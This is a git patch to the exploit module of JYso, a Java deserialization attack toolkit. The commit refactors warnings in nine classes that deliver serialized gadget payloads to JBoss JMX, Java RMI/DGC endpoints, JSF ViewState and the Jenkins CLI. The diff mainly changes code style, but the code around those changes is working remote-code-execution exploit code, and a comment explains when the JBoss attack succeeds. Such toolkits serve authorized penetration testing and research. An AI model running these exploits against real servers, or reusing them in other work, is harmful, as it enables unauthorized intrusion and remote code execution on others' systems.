From 6a75dd19db262bae650f7af5aa5a6f1a768572bb Mon Sep 17 00:00:00 2001 From: qi4l Date: Thu, 26 Mar 2026 14:48:14 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8Dexploit=E6=A8=A1?= =?UTF-8?q?=E5=9D=97=E5=A4=9A=E4=B8=AA=E5=91=8A=E8=AD=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/com/qi4l/JYso/exploit/JBoss.java | 60 ++++++++----------- .../exploit/JRMPClassLoadingListener.java | 2 +- .../com/qi4l/JYso/exploit/JRMPClient.java | 15 +++-- .../com/qi4l/JYso/exploit/JRMPListener.java | 33 +++++----- src/main/java/com/qi4l/JYso/exploit/JSF.java | 3 +- .../com/qi4l/JYso/exploit/JenkinsCLI.java | 24 ++++---- .../qi4l/JYso/exploit/JenkinsListener.java | 14 +++-- .../com/qi4l/JYso/exploit/JenkinsReverse.java | 8 ++- .../com/qi4l/JYso/exploit/RMIBindExploit.java | 8 +-- 9 files changed, 81 insertions(+), 86 deletions(-) diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java index 1be65a5..37d504d 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JBoss.java +++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java @@ -50,10 +50,10 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; * This client enumerates all application exported MBean method which are then called * delivering the specified payload. *

- * I.e. you can succesfully exploit that + * I.e. you can successfully exploit that * - you have access to the interface * (username/password can be specified via URL, note: despite not noticeable, - * local connections implicitely use authentication) + * local connections implicitly use authentication) * - there is an application exported MBean * - that application imports the classes required for the gadget chain * @@ -168,21 +168,18 @@ public class JBoss { ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); - FutureResult result = new FutureResult(); - instance.connect(null, destination, options, result, new CallbackHandler() { + FutureResult result = new FutureResult<>(); + instance.connect(null, destination, options, result, callbacks -> { - public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { + for (Callback cb : callbacks) { - for (Callback cb : callbacks) { - - if (cb instanceof NameCallback) { - ((NameCallback) cb).setName(username); - } else if (cb instanceof PasswordCallback) { - ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); - } else if (!(cb instanceof RealmCallback)) { - System.err.println(cb); - throw new UnsupportedCallbackException(cb); - } + if (cb instanceof NameCallback) { + ((NameCallback) cb).setName(username); + } else if (cb instanceof PasswordCallback) { + ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); + } else if (!(cb instanceof RealmCallback)) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); } } }, xnioSsl); @@ -201,13 +198,12 @@ public class JBoss { System.exit(-1); } - ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); - return chf; + return ioFuture.getInterruptibly(); } private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { Channel c; - FutureResult chResult = new FutureResult(context.getExecutor()); + FutureResult chResult = new FutureResult<>(context.getExecutor()); ch.open("jmx", chResult, options); IoFuture cFuture = chResult.getIoFuture(); @@ -259,9 +255,9 @@ public class JBoss { int stop = msg.indexOf('"', start + 1); String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { - int cstart = msg.indexOf(':'); - int cend = msg.indexOf(' ', cstart + 2); - String cls = msg.substring(cstart + 2, cend); + int c_start = msg.indexOf(':'); + int c_end = msg.indexOf(' ', c_start + 2); + String cls = msg.substring(c_start + 2, c_end); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); } } else { @@ -294,10 +290,9 @@ public class JBoss { } } - @SuppressWarnings({"deprecation"}) private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { - private ConnectionProviderContextImpl context; + private final ConnectionProviderContextImpl context; public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { @@ -332,13 +327,13 @@ public class JBoss { private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { - private XnioWorker worker; + private final XnioWorker worker; - private ExecutorService executor; + private final ExecutorService executor; - private Xnio instance; + private final Xnio instance; - private Endpoint endpoint; + private final Endpoint endpoint; public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { @@ -346,13 +341,10 @@ public class JBoss { this.worker = this.instance.createWorker(opts); this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); - this.executor = Executors.newCachedThreadPool(new ThreadFactory() { - - public Thread newThread(Runnable r) { - Thread t = new Thread(r, "Worker"); - t.setDaemon(true); - return t; - } + this.executor = Executors.newCachedThreadPool(r -> { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; }); } diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java index b776d02..cad21ae 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java @@ -26,7 +26,7 @@ import java.net.URL; */ public class JRMPClassLoadingListener { - public static final void main(final String[] args) { + public static void main(final String[] args) { if (args.length < 3) { System.err.println(JRMPClassLoadingListener.class.getName() + " "); diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java index d56b18e..1c9371b 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -26,7 +26,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; }) public class JRMPClient { - public static final void main(final String[] args) throws Exception { + public static void main(final String[] args) throws Exception { if (args.length < 5) { System.err.println(JRMPClient.class.getName() + " "); System.exit(-1); @@ -43,15 +43,14 @@ public class JRMPClient { Object payloadObject = ysoserial.PAYLOAD; try { - System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port); makeDGCCall(hostname, port, payloadObject); } catch (Exception e) { e.printStackTrace(System.err); } } - public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { - InetSocketAddress isa = new InetSocketAddress(hostname, port); + public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException { Socket s = null; DataOutputStream dos = null; try { @@ -68,7 +67,7 @@ public class JRMPClient { dos.write(TransportConstants.Call); - @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos); + final ObjectOutputStream objOut = new MarshalOutputStream(dos); objOut.writeLong(2); // DGC objOut.writeInt(0); @@ -113,12 +112,12 @@ public class JRMPClient { writeObject(null); } else { URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); - String cb = ""; + StringBuilder cb = new StringBuilder(); for (URL u : us) { - cb += u.toString(); + cb.append(u.toString()); } - writeObject(cb); + writeObject(cb.toString()); } } diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 4ecfda3..9a52b16 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -5,6 +5,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import sun.rmi.transport.TransportConstants; import javax.management.BadAttributeValueExpException; @@ -32,13 +34,14 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; }) public class JRMPListener implements Runnable { - private int port; + private static final Logger log = LoggerFactory.getLogger(JRMPListener.class); + private final int port; - private Object payloadObject; + private final Object payloadObject; - private ServerSocket ss; + private final ServerSocket ss; - private Object waitLock = new Object(); + private final Object waitLock = new Object(); private boolean exit; @@ -60,7 +63,7 @@ public class JRMPListener implements Runnable { this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } - public static final void main(final String[] args) throws Exception { + public static void main(final String[] args) throws Exception { if (args.length < 5) { System.err.println(JRMPListener.class.getName() + " "); System.exit(-1); @@ -96,23 +99,21 @@ public class JRMPListener implements Runnable { clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); return new byte[0]; } } - public boolean waitFor(int i) { + public void waitFor(int i) { try { if (this.hadConnection) { - return true; + return; } System.err.println("Waiting for connection"); synchronized (this.waitLock) { this.waitLock.wait(i); } - return this.hadConnection; - } catch (InterruptedException e) { - return false; + } catch (InterruptedException ignored) { } } @@ -120,7 +121,7 @@ public class JRMPListener implements Runnable { this.exit = true; try { this.ss.close(); - } catch (IOException e) { + } catch (IOException ignored) { } synchronized (this.waitLock) { this.waitLock.notify(); @@ -171,11 +172,11 @@ public class JRMPListener implements Runnable { case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this.payloadObject); break; - default: case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol"); s.close(); continue; + default: } bufOut.flush(); @@ -200,8 +201,7 @@ public class JRMPListener implements Runnable { } } - } catch (SocketException e) { - return; + } catch (SocketException ignored) { } catch (Exception e) { e.printStackTrace(System.err); } @@ -224,7 +224,6 @@ public class JRMPListener implements Runnable { break; case TransportConstants.DGCAck: - UID u = UID.read(in); break; default: @@ -238,7 +237,7 @@ public class JRMPListener implements Runnable { ObjectInputStream ois = new ObjectInputStream(in) { @Override - protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { + protected Class resolveClass(ObjectStreamClass desc) throws IOException { if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID".equals(desc.getName())) { diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java index ca1abe8..b64b063 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JSF.java +++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java @@ -10,6 +10,7 @@ import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; import static com.qi4l.JYso.controllers.ysoserial.ysoserial; @@ -67,7 +68,7 @@ public class JSF { oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); - os.write(requestBody.getBytes("US-ASCII")); + os.write(requestBody.getBytes(StandardCharsets.US_ASCII)); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java index e4367f8..d090467 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -6,6 +6,8 @@ import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import javax.net.SocketFactory; import java.io.DataOutputStream; @@ -17,7 +19,6 @@ import java.lang.reflect.Method; import java.net.*; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; -import java.util.concurrent.ThreadFactory; import static com.qi4l.JYso.controllers.ysoserial.ysoserial; @@ -34,7 +35,9 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; */ public class JenkinsCLI { - public static final void main(final String[] args) throws Exception { + private static final Logger log = LoggerFactory.getLogger(JenkinsCLI.class); + + public static void main(final String[] args) throws Exception { if (args.length < 5) { System.err.println(JenkinsCLI.class.getName() + " "); System.exit(-1); @@ -54,7 +57,7 @@ public class JenkinsCLI { c = JenkinsCLI.openChannel(isa); c.call(getPropertyCallable(payloadObject)); } catch (Throwable e) { - e.printStackTrace(); + log.error(String.valueOf(e)); } finally { if (c != null) { try { @@ -78,7 +81,7 @@ public class JenkinsCLI { return (Callable) getJarLoader; } - public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException { + public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException { URL u = new URL(jenkinsUrl); URLConnection conn = u.openConnection(); @@ -96,7 +99,7 @@ public class JenkinsCLI { return new InetSocketAddress(u.getHost(), clip); } - public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException { + public static Channel openChannel(InetSocketAddress isa) throws IOException { System.err.println("* Opening socket " + isa); Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s.setKeepAlive(true); @@ -106,13 +109,10 @@ public class JenkinsCLI { OutputStream outputStream = s.getOutputStream(); DataOutputStream dos = new DataOutputStream(outputStream); dos.writeUTF("Protocol:CLI-connect"); - ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { - - public Thread newThread(Runnable r) { - Thread t = new Thread(r, "Channel"); - t.setDaemon(true); - return t; - } + ExecutorService cp = Executors.newCachedThreadPool(r -> { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; }); Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); System.err.println("* Channel open"); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index c7ed1e3..cc8f78d 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -6,6 +6,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.JarLoader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import sun.rmi.server.Util; import sun.rmi.transport.TransportConstants; @@ -41,11 +43,13 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; * @author mbechler */ @SuppressWarnings({ - "rawtypes", "restriction" + "restriction" }) public class JenkinsListener { - public static final void main(final String[] args) { + private static final Logger log = LoggerFactory.getLogger(JenkinsListener.class); + + public static void main(final String[] args) { if (args.length < 5) { System.err.println(JenkinsListener.class.getName() + " "); @@ -85,7 +89,7 @@ public class JenkinsListener { } } catch (Throwable e) { - e.printStackTrace(); + log.error(String.valueOf(e)); } finally { if (c != null) { try { @@ -110,7 +114,7 @@ public class JenkinsListener { } - private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException { + private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception { String msg = e.getMessage(); int start = msg.indexOf("objID:["); if (start < 0) { @@ -165,7 +169,7 @@ public class JenkinsListener { dos.write(TransportConstants.Call); - @SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); objOut.writeLong(obj); objOut.writeInt(o1); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java index 4d2910a..6b6e1fe 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -3,6 +3,8 @@ package com.qi4l.JYso.exploit; import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.JRMPClient; import hudson.remoting.Channel; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.IOException; import java.net.InetSocketAddress; @@ -24,7 +26,9 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; */ public class JenkinsReverse { - public static final void main(final String[] args) throws Exception { + private static final Logger log = LoggerFactory.getLogger(JenkinsReverse.class); + + public static void main(final String[] args) throws Exception { if (args.length < 4) { System.err.println(JenkinsListener.class.getName() + " "); System.exit(-1); @@ -54,7 +58,7 @@ public class JenkinsReverse { listener.waitFor(1000); listener.close(); } catch (Throwable e) { - e.printStackTrace(); + log.error(String.valueOf(e)); } finally { if (c != null) { try { diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java index a3a0fe9..a852c36 100644 --- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -60,7 +60,7 @@ public class RMIBindExploit { private String ip = null; - public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { + public Remote lookup(String var1) throws NotBoundException, RemoteException { try { StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); @@ -100,12 +100,8 @@ public class RMIBindExploit { } return var20; - } catch (RuntimeException var16) { + } catch (RuntimeException | NotBoundException | RemoteException var16) { throw var16; - } catch (RemoteException var17) { - throw var17; - } catch (NotBoundException var18) { - throw var18; } catch (Exception var19) { throw new UnexpectedException("undeclared checked exception", var19); }